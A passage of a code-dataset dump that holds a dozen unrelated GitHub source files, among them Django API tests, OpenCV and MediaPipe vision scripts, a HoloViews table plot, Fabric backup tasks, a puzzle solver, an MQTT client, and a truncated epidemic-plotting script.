VALUES(%s, %s, %s, %s)',\n (_hid, _uid, file_url, submit_status))\n conn.commit()\n\n cursor.close()\n conn.close()\n\n return json.dumps('SUCCEED')\n\n cursor.close()\n conn.close()\n return json.dumps('FAILED')\n\n","repo_name":"samchen45/Software-Engineering-Project","sub_path":"back-end/TCP/api/homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":7836,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"9981210415","text":"#!/usr/bin/env python3\n# Daniel Stribling | ORCID: 0000-0002-0649-9506\n# Renne Lab, University of Florida\n# Hybkit Project : https://www.github.com/RenneLab/hybkit\n\n\"\"\"Setup module for the hybkit project.\"\"\"\n\nimport setuptools\nimport os\nimport hybkit\nimport glob\nimport fnmatch\nimport pprint\n\n# Set project directory\nproj_dir = os.path.abspath(os.path.dirname(__file__))\n\n# Get the long description from the README file\nwith open(os.path.join(proj_dir, 'README.rst'), encoding='utf-8') as f:\n long_description = ''\n for line in f:\n if 'include::' not in line:\n long_description += line\n\n# Get the remaining project details variables from the \"__about__.py\" file.\nabout_vars = {}\nwith open(os.path.join(proj_dir, 'hybkit', '__about__.py')) as f:\n exec(f.read(), about_vars)\n\n# Dynamically generate reference data file tuples:\ndata_files = []\ndata_file_dirs = ['', 'scripts', 'ref_data', 'hybkit']\nexample_directory_dirs = glob.glob('example_0*')\ndata_file_dirs += example_directory_dirs\nfor item in glob.glob('docs/**', recursive=True):\n if os.path.isdir(item) and not item.startswith(os.path.join('docs', '_')):\n data_file_dirs.append(item)\n\nignore_file_patterns = []\nwith open('.gitignore', 'r') as git_ignore:\n for line in git_ignore:\n line = line.strip()\n if line.startswith('#') or not line:\n continue\n ignore_file_patterns.append(line)\n\nfor dir_name in data_file_dirs:\n file_list = [f for f in glob.glob(os.path.join(dir_name, '*'))\n if not (os.path.isdir(f)\n or any(fnmatch.fnmatch(f, ignore) for ignore in ignore_file_patterns)\n )]\n target_dir_name = os.path.join(about_vars['name_and_version'], dir_name)\n if dir_name == '':\n file_list += ['.gitignore']\n data_files.append((target_dir_name, file_list))\n\nprint('\\nData Files:')\npprint.pp(data_files)\n\n# Get Package Data:\npackage_data = [\n os.path.basename(f) for f in glob.glob('hybkit/*')\n if not (os.path.basename(f).endswith('.py')\n or os.path.basename(f).endswith('__'))\n]\nprint('\\nPackage Data:')\npprint.pp(package_data)\n\n# Get Scripts\nscripts = [s for s in glob.glob('scripts/*') if not s.endswith('__')]\nprint('\\nScripts:')\npprint.pp(scripts)\n\n# Print About Vars\nprint('\\nAbout Variables:')\npprint.pp(about_vars)\n\nsetuptools.setup(\n name=about_vars['project_name'],\n version=about_vars['__version__'],\n description=about_vars['description'],\n long_description=long_description,\n long_description_content_type='text/x-rst',\n url=about_vars['project_url'],\n author=about_vars['__author__'],\n author_email=about_vars['__contact__'],\n classifiers=about_vars['classifiers'],\n keywords=about_vars['keywords'],\n packages=['hybkit'],\n package_dir={'hybkit': 'hybkit'},\n package_data={'hybkit': package_data},\n scripts=scripts,\n python_requires=about_vars['python_requires'],\n project_urls=about_vars['info_urls'],\n data_files=data_files,\n install_requires=[\n 'matplotlib',\n 'biopython',\n ],\n)\n","repo_name":"RenneLab/hybkit","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3094,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"3050619092","text":"import json\r\nimport pytest\r\n\r\nfrom django.conf import settings\r\n\r\nfrom ads.models import Ad\r\nfrom tests.factories import AdsFactory\r\n\r\n\r\n@pytest.mark.django_db\r\ndef test_get_ads_list(client):\r\n AdsFactory.create_batch(7)\r\n\r\n response = client.get('/api/ads/')\r\n\r\n assert response.status_code == 200\r\n assert len(response.data['results']) == settings.REST_FRAMEWORK['PAGE_SIZE']\r\n\r\n\r\n@pytest.mark.django_db\r\ndef test_get_ad(client):\r\n ads = AdsFactory.create_batch(3)\r\n ad_id = ads[0].id\r\n\r\n response = client.get(f'/api/ads/{ad_id}/')\r\n\r\n assert response.status_code == 200\r\n assert response.data['pk'] == ad_id\r\n\r\n\r\n@pytest.mark.django_db\r\ndef test_create_ad(client, authenticated_user):\r\n user, auth_client = authenticated_user\r\n\r\n new_ad = {\r\n 'title': 'Test ad title',\r\n 'price': 10000,\r\n 'description': 'Test ad description',\r\n }\r\n\r\n response = auth_client.post(\r\n '/api/ads/',\r\n data=json.dumps(new_ad),\r\n content_type='application/json'\r\n )\r\n\r\n response_data = response.json()\r\n created = response_data['created_at']\r\n ad_id = response_data['id']\r\n\r\n expected_response = {\r\n 'id': ad_id,\r\n 'title': 'Test ad title',\r\n 'price': 10000,\r\n 'description': 'Test ad description',\r\n 'image': None,\r\n 'author': user.id,\r\n 'created_at': created,\r\n }\r\n\r\n assert response.status_code == 201\r\n assert response_data == expected_response\r\n\r\n\r\n@pytest.mark.django_db\r\ndef test_update_ad(client, authenticated_user):\r\n user, auth_client = authenticated_user\r\n\r\n ad = AdsFactory.create(author=user)\r\n\r\n updated_ad_data = {\r\n 'title': 'Updated ad title',\r\n 'price': 20000,\r\n 'description': 'Updated ad description',\r\n }\r\n\r\n response = auth_client.patch(\r\n f'/api/ads/{ad.id}/',\r\n data=json.dumps(updated_ad_data),\r\n content_type='application/json'\r\n )\r\n\r\n expected_response = {\r\n 'pk': ad.id,\r\n 'title': 'Updated ad title',\r\n 'price': 20000,\r\n 'description': 'Updated ad description',\r\n 'image': None,\r\n }\r\n\r\n assert response.status_code == 200\r\n assert response.data == expected_response\r\n\r\n ad.refresh_from_db()\r\n assert ad.title == 'Updated ad title'\r\n assert ad.price == 20000\r\n assert ad.description == 'Updated ad description'\r\n\r\n\r\n@pytest.mark.django_db\r\ndef test_delete_ad(client, authenticated_user):\r\n user, auth_client = authenticated_user\r\n\r\n ad = AdsFactory.create(author=user)\r\n\r\n response = auth_client.delete(f'/api/ads/{ad.id}/')\r\n\r\n assert response.status_code == 204\r\n\r\n # Verify that the ad is deleted from the database\r\n with pytest.raises(Ad.DoesNotExist):\r\n ad.refresh_from_db()\r\n","repo_name":"bendenko-v/SkyMarket","sub_path":"tests/ads_test.py","file_name":"ads_test.py","file_ext":"py","file_size_in_byte":2790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"17866797384","text":"import cv2\nimport mediapipe as mp\nimport time\n\n\n# Mediapipe? -> open source framework designed by Google aimed to build \"world-class machine learning solutions\". The\n# code is written in C++ , but it can easily be deployed to any platform from web assembly to Android to macOS.\n# Has its applications in -> persistent object tracking, AR hair colouring, pose tracking etc.\n\n\n# MediaPipe Hands is a high-fidelity hand and finger tracking solution. It employs machine learning (ML) to infer 21 3D\n# landmarks of a hand from just a single frame.\n\n\n# MediaPipe Hands utilizes an ML pipeline consisting of multiple models working together: A palm detection model that\n# operates on the full image and returns an oriented hand bounding box. A hand landmark model that operates on the\n# cropped image region defined by the palm detector and returns high-fidelity 3D hand key points.\n\n\ncap = cv2.VideoCapture(0)\n\n# solutions.hands : indicates that we are going to use the hand tracking module.\nmpHands = mp.solutions.hands\nhands = mpHands.Hands()\n\n# To draw connections and trace indexes in hand landmarks would've involved a lot of maths and would've been very\n# tedious, so we've a predefined utility fnc for drawing the landmarks:\nmpDraw = mp.solutions.drawing_utils\n\n\n# We are taking the current as well as previous time to determine the fps:\ncurrTime = 0\nprevTime = 0\n\n\nwhile True:\n success, img = cap.read()\n # We need to send the RGB image to the object \"hands\" so we'll first convert (by default it's BGR):\n imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n # The process method will process the frame for us & give the required results.\n results = hands.process(imgRGB)\n # Now , taking into consideration the parameters in the Hands() fnc we can have multiple hands & therefore results\n # can have multiple hands.\n # To check if something is detected or not , we can write:\n # print(results.multi_hand_landmarks)\n # results.multi_hand_landmarks : will return all the hand marks with the index.\n\n # results.multi_hand_landmarks=true -> indexes where hand marks where detected:\n if results.multi_hand_landmarks:\n # results.multi_hand_landmarks can have multiple hands so for each handLms in results.multi_hand_landmarks:\n for handLms in results.multi_hand_landmarks:\n # Draw the landmarks detected for a single hand on the corresponding image via the draw_landmarks within\n # mp.solutions.drawing_utils\n # mpDraw.draw_landmarks(img, handLms)\n # The above commented line will only draw the points for the 21 landmarks.To draw the connections as well:\n # mpDraw.draw_landmarks(img, handLms, mpHands.HAND_CONNECTIONS)\n # Now we are going to get the information within each hand (i.e. each handLms) -> we'll get the id no. as\n # the landmark information (x,y,z coordinate).\n for id, lm in enumerate(handLms.landmark):\n print(id, lm)\n # Now we are going to utilize the x & y coordinate to the find the position of the landmark on the hand\n # (i.e. width pixels & height pixels)\n # height, width, colour channel of the image\n h, w, c = img.shape\n cx, cy = int(lm.x*w), int(lm.y*h)\n # This will give the x & y posn of the landmark corresponding to the id.\n print(id, cx, cy)\n # To differentiate a particular landmark index , we can draw diff shapes on a particular id.\n if id == 0:\n cv2.circle(img, (cx, cy), 15, (255, 0, 255), cv2.FILLED)\n mpDraw.draw_landmarks(img, handLms, mpHands.HAND_CONNECTIONS)\n\n currTime = time.time()\n fps = 1/(currTime-prevTime)\n prevTime = currTime\n\n # Displaying the fps:\n cv2.putText(img, str(int(fps)), (10, 70), cv2.FONT_HERSHEY_SIMPLEX, 2, (255, 0, 255), 3)\n\n cv2.imshow(\"Image\", img)\n cv2.waitKey(1)\n","repo_name":"Swaransh2903/Gesture-Volume-Control-OpenCv","sub_path":"HandTrackingBareMin.py","file_name":"HandTrackingBareMin.py","file_ext":"py","file_size_in_byte":3963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"15797006472","text":"def solution(numbers):\n result = []\n \n for i in numbers:\n if i % 2 == 0:\n result.append(i + 1)\n else:\n num = format(i, 'b')\n\n if num.count('0') > 0:\n index = num[::-1].find('0')\n num1 = '1' + '0' * (index)\n else:\n num1 = '1' + '0' * len(num)\n\n result.append(int(num, 2) + int(num1, 2) // 2)\n \n return result\n","repo_name":"Uttug-Seuja/uttug-seuja-algorithm","sub_path":"이건희/level2/2개 이하로 다른 비트.py","file_name":"2개 이하로 다른 비트.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"521798432","text":"import param\nfrom bokeh.models import Column\nfrom bokeh.models.widgets import (\n DataTable,\n DateEditor,\n DateFormatter,\n IntEditor,\n NumberEditor,\n NumberFormatter,\n StringEditor,\n StringFormatter,\n TableColumn,\n)\n\nfrom ...core import Dataset, Dimension\nfrom ...core.util import dimension_sanitizer, isdatetime\nfrom ...element import ItemTable\nfrom ...streams import Buffer\nfrom ..plot import GenericElementPlot\nfrom .plot import BokehPlot\nfrom .selection import TabularSelectionDisplay\n\n\nclass TablePlot(BokehPlot, GenericElementPlot):\n\n hooks = param.HookList(default=[], doc=\"\"\"\n Optional list of hooks called when finalizing a plot. The\n hook is passed the plot object and the displayed element, and\n other plotting handles can be accessed via plot.handles.\"\"\")\n\n height = param.Number(default=300)\n\n selected = param.List(default=None, doc=\"\"\"\n The current selection as a list of integers corresponding\n to the selected items.\"\"\")\n\n width = param.Number(default=400)\n\n selection_display = TabularSelectionDisplay()\n\n style_opts = ['row_headers', 'selectable', 'editable',\n 'sortable', 'fit_columns', 'scroll_to_selection',\n 'index_position', 'visible']\n\n _stream_data = True\n\n def __init__(self, element, plot=None, **params):\n super().__init__(element, **params)\n self.handles = {} if plot is None else self.handles['plot']\n element_ids = self.hmap.traverse(lambda x: id(x), [Dataset, ItemTable])\n self.static = len(set(element_ids)) == 1 and len(self.keys) == len(self.hmap)\n self.callbacks, self.source_streams = self._construct_callbacks()\n self.streaming = [s for s in self.streams if isinstance(s, Buffer)]\n self.static_source = False\n\n def get_data(self, element, ranges, style):\n return ({dimension_sanitizer(d.name): element.dimension_values(d)\n for d in element.dimensions()}, {}, style)\n\n def initialize_plot(self, ranges=None, plot=None, plots=None, source=None):\n \"\"\"\n Initializes a new plot object with the last available frame.\n \"\"\"\n # Get element key and ranges for frame\n element = self.hmap.last\n key = self.keys[-1]\n self.current_frame = element\n self.current_key = key\n\n style = self.lookup_options(element, 'style')[self.cyclic_index]\n data, _, style = self.get_data(element, ranges, style)\n if source is None:\n source = self._init_datasource(data)\n self.handles['source'] = self.handles['cds'] = source\n self.handles['selected'] = source.selected\n if self.selected is not None:\n source.selected.indices = self.selected\n\n columns = self._get_columns(element, data)\n style['reorderable'] = False\n table = DataTable(source=source, columns=columns, height=self.height,\n width=self.width, **style)\n self.handles['table'] = table\n self.handles['glyph_renderer'] = table\n self._execute_hooks(element)\n self.drawn = True\n\n title = self._get_title_div(self.keys[-1], '10pt')\n if title:\n plot = Column(title, table)\n self.handles['title'] = title\n else:\n plot = table\n self.handles['plot'] = plot\n\n for cb in self.callbacks:\n cb.initialize()\n return plot\n\n def _get_columns(self, element, data):\n columns = []\n for d in element.dimensions():\n col = dimension_sanitizer(d.name)\n kind = data[col].dtype.kind\n if kind == 'i':\n formatter = NumberFormatter()\n editor = IntEditor()\n elif kind == 'f':\n formatter = NumberFormatter(format='0,0.0[00000]')\n editor = NumberEditor()\n elif isdatetime(data[col]):\n dimtype = element.get_dimension_type(col)\n dformat = Dimension.type_formatters.get(dimtype, '%Y-%m-%d %H:%M:%S')\n formatter = DateFormatter(format=dformat)\n editor = DateEditor()\n else:\n formatter = StringFormatter()\n editor = StringEditor()\n column = TableColumn(field=dimension_sanitizer(d.name), title=d.pprint_label,\n editor=editor, formatter=formatter)\n columns.append(column)\n return columns\n\n\n def update_frame(self, key, ranges=None, plot=None):\n \"\"\"\n Updates an existing plot with data corresponding\n to the key.\n \"\"\"\n element = self._get_frame(key)\n self.param.update(**self.lookup_options(element, 'plot').options)\n self._get_title_div(key, '12pt')\n\n # Cache frame object id to skip updating data if unchanged\n previous_id = self.handles.get('previous_id', None)\n current_id = element._plot_id\n source = self.handles['source']\n self.handles['previous_id'] = current_id\n self.static_source = (self.dynamic and (current_id == previous_id))\n if (element is None or (not self.dynamic and self.static) or\n (self.streaming and self.streaming[0].data is self.current_frame.data\n and not self.streaming[0]._triggering) or self.static_source):\n if self.static_source and hasattr(self, 'selected') and self.selected is not None:\n self._update_selected(source)\n return\n style = self.lookup_options(element, 'style')[self.cyclic_index]\n data, _, style = self.get_data(element, ranges, style)\n columns = self._get_columns(element, data)\n self.handles['table'].columns = columns\n self._update_datasource(source, data)\n","repo_name":"holoviz/holoviews","sub_path":"holoviews/plotting/bokeh/tabular.py","file_name":"tabular.py","file_ext":"py","file_size_in_byte":5803,"program_lang":"python","lang":"en","doc_type":"code","stars":2514,"dataset":"github-code","pt":"20"} +{"seq_id":"43594638034","text":"import cv2\nimport numpy as np\n\nfrontalFace = cv2.CascadeClassifier(\"haarcascade_frontalface_default.xml\")\nkamera = cv2.VideoCapture(0)\n\nwhile True:\n _,kare = kamera.read()\n kareGRAY = cv2.cvtColor(kare,cv2.COLOR_BGR2GRAY)\n \n #daha iyi bir sonuç için ayarlanabilir;\n scale = 1.3 #nesne ölçeği\n neighbor = 4 #nesnelerin birbirine yakınlığı\n face_locs = frontalFace.detectMultiScale(kareGRAY,scale,neighbor)\n #[[x1,y1,x2,y2]] x1,y1 --> yüzün sol üst pixel konumu, x2,y2 --> yüzün genişlik ve boy uzaklığı\n\n for (x,y,w,h) in face_locs:\n cv2.rectangle(kare,(x,y),(x+w,y+h),[255,0,0],2)\n \n cv2.imshow(\"Kamera\",kare)\n\n key = cv2.waitKey(30)\n if key == 27:\n break\n\nkamera.release()\ncv2.destroyAllWindows()","repo_name":"mehmet-engineer/Computer_Vision_with_Python","sub_path":"İleri Seviye/İnsan ve Yüz Tespitleri/Kullanım 1 Kameradan yüz Tespiti/face.py","file_name":"face.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"22996554837","text":"from datetime import datetime\n\nfrom fabric.api import env, run\nfrom fabric.context_managers import cd\n\nfrom fabextns.core.service import Service\n\n\n\nclass BaseDBTasks(Service):\n \n def __init__(self, name):\n super(BaseDBTasks, self).__init__(name) \n self.backup_folder = env.config['backup_folder']\n self.stage_folder = env.config['stage_folder']\n\n def dump_to_fs(self): \n run('mkdir -p %s' % self.backup_folder)\n\n def restore_from_tar(self, tar_file):\n # Select the dump to restore from. Delete the db/s then restore from\n # dump. This is db specific so it should be in the derived class. Not\n # here.\n raise NotImplementedError()\n\n def cleanup_dbdumps(self, keep_last=5):\n # To implement. Write code to list out dbdump dir, filtered by the\n # dump file syntax.\n with cd(self.backup_folder):\n backups = run('ls -t')\n backups = backups.split()\n if len(backups) > keep_last:\n # get all the backups other than last n backups\n to_delete = backups[keep_last:]\n for bkp in to_delete:\n run('rm -rf %s' % bkp)\n\n\n def _tarup_dump(self, dumpfile):\n dt_format = '%Y.%m.%d-%H.%M'\n tarfile = '%s.%s.tar.bz' % (dumpfile, datetime.now().strftime(dt_format))\n run('tar -cjvf %s %s' % (tarfile, dumpfile))\n return tarfile\n","repo_name":"mukund-kri/fabextns","sub_path":"fabextns/db/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"26430667934","text":"def read_matrix(is_test=False):\n if is_test:\n return [\n [11, 2, 4],\n [4, 5, 6],\n [10, 8, -12],\n ]\n else:\n size = int(input())\n matrix = []\n for row_index in range(size):\n row = [int(x) for x in input().split(' ')]\n matrix.append(row)\n\n return matrix\n\n\ndef get_sum_of_primary_diagonal(matrix):\n diagonal_sum = 0\n size = len(matrix)\n for i in range(size):\n diagonal_sum += matrix[i][i]\n return diagonal_sum\n\n\ndef get_sum_of_secondary_diagonal(matrix):\n diagonal_sum = 0\n size = len(matrix)\n for i in range(size):\n diagonal_sum += matrix[i][size - i - 1]\n return diagonal_sum\n\n\ndef print_sum(matrix):\n both_diagonals_sum = get_sum_of_primary_diagonal(matrix) - get_sum_of_secondary_diagonal(matrix)\n print(abs(both_diagonals_sum))\n\n\nmatrix = read_matrix()\nprint_sum(matrix)","repo_name":"yordanfilipov/SoftUni-Python-Advanced","sub_path":"03.Multidimensional-Lists/01.diagonal_difference.py","file_name":"01.diagonal_difference.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"25458424004","text":"from utils import getColoredText\n\ndef getCalendarListFromUserEmail(service, userEmail):\n try:\n return service.calendarList().list().execute().get(\"items\")\n except:\n print(\"| \"+getColoredText(\"Unable to get calendars for \"+getColoredText(userEmail, \"bold\"), \"red\"))\n\ndef printCalendarList(calendars):\n if not calendars: \n print(\"| \" + getColoredText(\"No calendars found!\", \"yellow\"))\n else: \n for calendar in calendars: \n printSingleCalendar(calendar)\n\ndef printSingleCalendar(calendar): \n print(u'| [ID: {0}] {1}'.format(calendar['id'], calendar['summary']))\n\ndef addCalendarToUser(service, calendarId, colors=None):\n try:\n if colors is None or colors['backgroundColor'] == \"\" or colors['foregroundColor'] == \"\":\n return service.calendarList().insert(body={\"id\": calendarId, \"selected\": True}).execute()\n else: \n return service.calendarList().insert(body={\n \"id\": calendarId, \n \"colorRgbFormat\": True, \n \"backgroundColor\": colors['backgroundColor'], \n \"foregroundColor\": colors['foregroundColor'],\n \"selected\": True\n }).execute()\n except:\n print(\"| \"+getColoredText(\"Error: Impossible to add the calendar to the calendarList!\", \"red\"))\n\ndef removeCalendarFromUser(service, calendarId):\n try:\n return service.calendarList().delete(calendarId=calendarId).execute()\n except:\n print(\"| \"+getColoredText(\"Error: Impossible to remove the calendar from the calendarList!\", \"red\"))\n\ndef createAccessControlRule(service, userEmail, calendarId, role=\"reader\", scope=\"user\"):\n print(\"| Creating ACL Rule for \"+userEmail+\"...\")\n try:\n rule = {\n 'scope': {\n 'type': scope,\n 'value': userEmail\n },\n 'role': role\n }\n\n res = service.acl().insert(calendarId=calendarId, body=rule).execute()\n print(\"| \" + getColoredText(u'ACL Rule for {0} {1} with access role {2} created'\n .format(res['scope']['type'], res['scope']['value'], res['role']), \"green\"))\n return res\n except: \n print(\"| \"+getColoredText(\"Error: unable to create ACL rule!\", \"red\"))","repo_name":"LucaTaddeo/googleWorkspaceUtilities","sub_path":"calendars.py","file_name":"calendars.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"31033787858","text":"import copy\n\n\n# The problem starts with 3 Missionaries (M) and 3 Cannibals (C) in the left side of a river (leftCoast) trying to\n# cross with a boat(B) going to the right side (rightCoast) with the restriction that never the number of Cannibals\n# will outnumber the Missionaries on either side\n\nclass CoastState:\n\n def __init__(self, c, m):\n self.cannibals = c\n self.missionaries = m\n\n # This is an intermediate state of Coast where the missionaries have to outnumber the cannibals\n def valid_coast(self):\n if self.missionaries >= self.cannibals or self.missionaries == 0:\n return True\n else:\n return False\n\n def goal_coast(self):\n if self.cannibals == 3 and self.missionaries == 3:\n return True\n else:\n return False\n\n\nclass GameState:\n\n def __init__(self, data):\n self.data = data\n self.parent = None\n\n # Creating the Search Tree\n def building_tree(self):\n children = []\n coast = \"\"\n across_coast = \"\"\n temp = copy.deepcopy(self.data)\n if self.data[\"boat\"] == \"left\":\n coast = \"left\"\n across_coast = \"right\"\n elif self.data[\"boat\"] == \"right\":\n coast = \"right\"\n across_coast = \"left\"\n\n # MOVING 2 CANNIBALS (CC)\n if temp[coast].cannibals >= 2:\n temp[coast].cannibals = temp[coast].cannibals - 2\n temp[across_coast].cannibals = temp[across_coast].cannibals + 2\n temp[\"boat\"] = across_coast\n if temp[coast].valid_coast() and temp[across_coast].valid_coast():\n child = GameState(temp)\n child.parent = self\n children.append(child)\n\n temp = copy.deepcopy(self.data)\n # MOVING 2 MISSIONARIES (MM)\n if temp[coast].missionaries >= 2:\n temp[coast].missionaries = temp[coast].missionaries - 2\n temp[across_coast].missionaries = temp[across_coast].missionaries + 2\n temp[\"boat\"] = across_coast\n if temp[coast].valid_coast() and temp[across_coast].valid_coast():\n child = GameState(temp)\n child.parent = self\n children.append(child)\n\n temp = copy.deepcopy(self.data)\n # MOVING 1 CANNIBAL (C)\n if temp[coast].cannibals >= 1:\n temp[coast].cannibals = temp[coast].cannibals - 1\n temp[across_coast].cannibals = temp[across_coast].cannibals + 1\n temp[\"boat\"] = across_coast\n if temp[coast].valid_coast() and temp[across_coast].valid_coast():\n child = GameState(temp)\n child.parent = self\n children.append(child)\n\n temp = copy.deepcopy(self.data)\n # MOVING 1 MISSIONARY (M)\n if temp[coast].missionaries >= 1:\n temp[coast].missionaries = temp[coast].missionaries - 1\n temp[across_coast].missionaries = temp[across_coast].missionaries + 1\n temp[\"boat\"] = across_coast\n if temp[coast].valid_coast() and temp[across_coast].valid_coast():\n child = GameState(temp)\n child.parent = self\n children.append(child)\n\n temp = copy.deepcopy(self.data)\n # MOVING 1 CANNIBAL AND 1 MISSIONARY (CM && MM)\n if temp[coast].missionaries >= 1 and temp[coast].cannibals >= 1:\n temp[coast].missionaries = temp[coast].missionaries - 1\n temp[across_coast].missionaries = temp[across_coast].missionaries + 1\n temp[coast].cannibals = temp[coast].cannibals - 1\n temp[across_coast].cannibals = temp[across_coast].cannibals + 1\n temp[\"boat\"] = across_coast\n if temp[coast].valid_coast() and temp[across_coast].valid_coast():\n child = GameState(temp)\n child.parent = self\n children.append(child)\n return children\n\n\ndef breadth_first_search():\n left = CoastState(3, 3)\n right = CoastState(0, 0)\n root_data = {\"left\": left, \"right\": right, \"boat\": \"left\"}\n\n explored = []\n nodes = []\n path = []\n nodes.append(GameState(root_data))\n\n while len(nodes) > 0:\n g = nodes.pop(0)\n explored.append(g)\n if g.data[\"right\"].goal_coast():\n path.append(g)\n return g\n else:\n next_children = g.building_tree()\n for x in next_children:\n if (x not in nodes) or (x not in explored):\n nodes.append(x)\n return None\n\n\ndef print_path(g):\n\n path = [g]\n while g.parent:\n g = g.parent\n path.append(g)\n print(\" \" + \"Left Side\" + \" \" + \"Right Side\" + \" \" + \"Boat \")\n print(\n \" Cannibals\" + \" Missionaries\" + \" \" + \"Cannibals\" + \" Missionaries\" + \" Boat Position\")\n counter = 0\n for p in reversed(path):\n print(\"State \" + str(counter) + \" Left C: \" + str(p.data[\"left\"].cannibals) + \". Left M: \" + str(\n p.data[\"left\"].missionaries) + \". | Right C: \" + str(\n p.data[\"right\"].cannibals) + \". Right M: \" + str(p.data[\"right\"].missionaries) + \". | Boat: \" + str(\n p.data[\"boat\"]))\n counter = counter + 1\n print(\"End of Path!\")\n\n\ndef main():\n solution = breadth_first_search()\n print(\"Missionaries and Cannibals AI Problem Solution using Breath - First Search:\")\n print_path(solution)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"vvittis/Artificial-Intelligence","sub_path":"MissionariesAndCannibals/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5555,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"74438961650","text":"\"\"\"Runtime MQTT client.\"\"\"\nimport paho.mqtt.client as paho\nimport socket\nimport threading\nimport sys\n\n# MQTT variables\nbroker = \"192.168.1.251\"\n\n# UDP variables\nmsgFromServer = \"Keepalive\"\nbytesToSend = str.encode(msgFromServer)\nserverAddressPort = (\"192.168.1.251\", 15640)\nbufferSize = 1024\nrun = True\n\n\ndef on_message(client, userdata, msg):\n \"\"\"Callback for receive msg.\"\"\"\n print(msg.topic + \": \" + msg.payload.decode())\n\n\ndef on_log(client, userdata, level, buf):\n \"\"\"Callback for logging.\"\"\"\n print(\"log: \" + buf)\n\n\ndef on_connect(client, userdata, flags, rc):\n \"\"\"Callback for connect to broker.\"\"\"\n if rc == 0:\n print(\"connect OK\")\n else:\n print(\"Could not connect to MQTT Broker!\")\n\n\ndef on_disconnect(client, userdata, rc=0):\n \"\"\"Callback for disconnect from broker.\"\"\"\n global run\n print(\"Disconnected return code \" + str(rc))\n run = False\n\n\nclass keepalive(threading.Thread):\n \"\"\"Thread for sending keepalive message.\"\"\"\n\n def __init__(self, event, UDPClientSocket):\n threading.Thread.__init__(self)\n self.stopped = event\n self.UDPClientSocket = UDPClientSocket\n\n def run(self):\n \"\"\"Override run function in keepalive thread class.\"\"\"\n while not self.stopped.wait(3):\n try:\n self.UDPClientSocket.sendto(bytesToSend, serverAddressPort)\n except OSError:\n print(\"Network is down, stop sending keep\")\n break\n\n\nif __name__ == '__main__':\n # paho client setup\n client = paho.Client()\n client.will_set(\n \"runtime/keepalive\", payload=\"last will message!\", qos=0, retain=False)\n client.on_message = on_message\n client.on_connect = on_connect\n client.on_disconnect = on_disconnect\n client.on_log = on_log\n\n # Create a UDP socket at client side\n UDPClientSocket = socket.socket(\n family=socket.AF_INET, type=socket.SOCK_DGRAM)\n\n # Run a thread for heartbeat messages\n stopFlag = threading.Event()\n heart_beat = keepalive(stopFlag, UDPClientSocket)\n heart_beat.daemon = True\n heart_beat.start()\n\n client.connect(broker, port=1883, keepalive=10)\n while run:\n client.loop()\n print(\"Network is down\")\n","repo_name":"Jer3myYu/Fault_Tolerance_Demo","sub_path":"runtime.py","file_name":"runtime.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"17405408582","text":"import os\nimport pickle\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import rcParams\nfrom moviepy.editor import VideoClip\nfrom moviepy.video.io.bindings import mplfig_to_npimage\n\n\nconfig = {\n \"font.family\":'serif',\n \"font.size\": 25,\n \"mathtext.fontset\":'stix',\n \"font.serif\": ['SimSun'],\n}\nrcParams.update(config)\n\nfigsize = (8, 6)\nfig = plt.figure(figsize=figsize)\nax = fig.subplots(1,1)\nfps = 40 \nstick_font_size = 20\nfont_legend = {'family': 'Times New Roman', 'weight': 'normal', 'size': stick_font_size}\n\nroot_folder = os.path.dirname(os.path.abspath(__file__))\nfigure_folder = os.path.join(root_folder, 'figs')\n\nwith open(os.path.join(root_folder, 'dynamics.pkl'), 'rb') as f:\n data_dict = pickle.load(f)\n \nmemory_shape = data_dict['memory_S'].shape\nmemory_S = data_dict['memory_S']\nmemory_I = data_dict['memory_I']\nmemory_H = data_dict['memory_H']\nmemory_R = data_dict['memory_R']\ncolors = [u'#ee854a', u'#4878d0', u'#d65f5f', u'#6acc64']\n\nreduced_axis = 0\n\ndef make_frame(t):\n ax.clear()\n X = np.arange(memory_shape[1])\n Y = np.arange(memory_shape[0])\n X, Y = np.meshgrid(X, Y)\n S = np.sum(memory_S[:, :, int(t*fps)], axis=reduced_axis) * 500000\n H = np.sum(memory_H[:, :, int(t*fps)], axis=reduced_axis) * 500000\n I = np.sum(memory_I[:, :, int(t*fps)], axis=reduced_axis) * 500000\n R = np.sum(memory_S[:, :, 0], axis=reduced_axis) * 500000 - S - H - I + 1\n data = np.vstack((R, H, I, S)).transpose()\n data_table = pd.DataFrame(data=data, columns=['R', 'H', 'I', 'S'])\n data_dict = data_table.to_dict('list')\n ax.stackplot(range(S.shape[0]), data_dict.values(), \n labels=data_dict.keys(), alpha=0.65, colors=colors, edgecolor = 'k', linewidth=0.3)\n plt.yticks(fontproperties = 'Times New Roman', size = stick_font_size)\n plt.xticks(fontproperties = 'Times New Roman', size = stick_font_size)\n plt.xlim([6, S.shape[0]])\n plt.ylim([1.0, 500000])\n ax.set_yscale('log')\n ax.set_yticks([1, 10, 100, 1000, 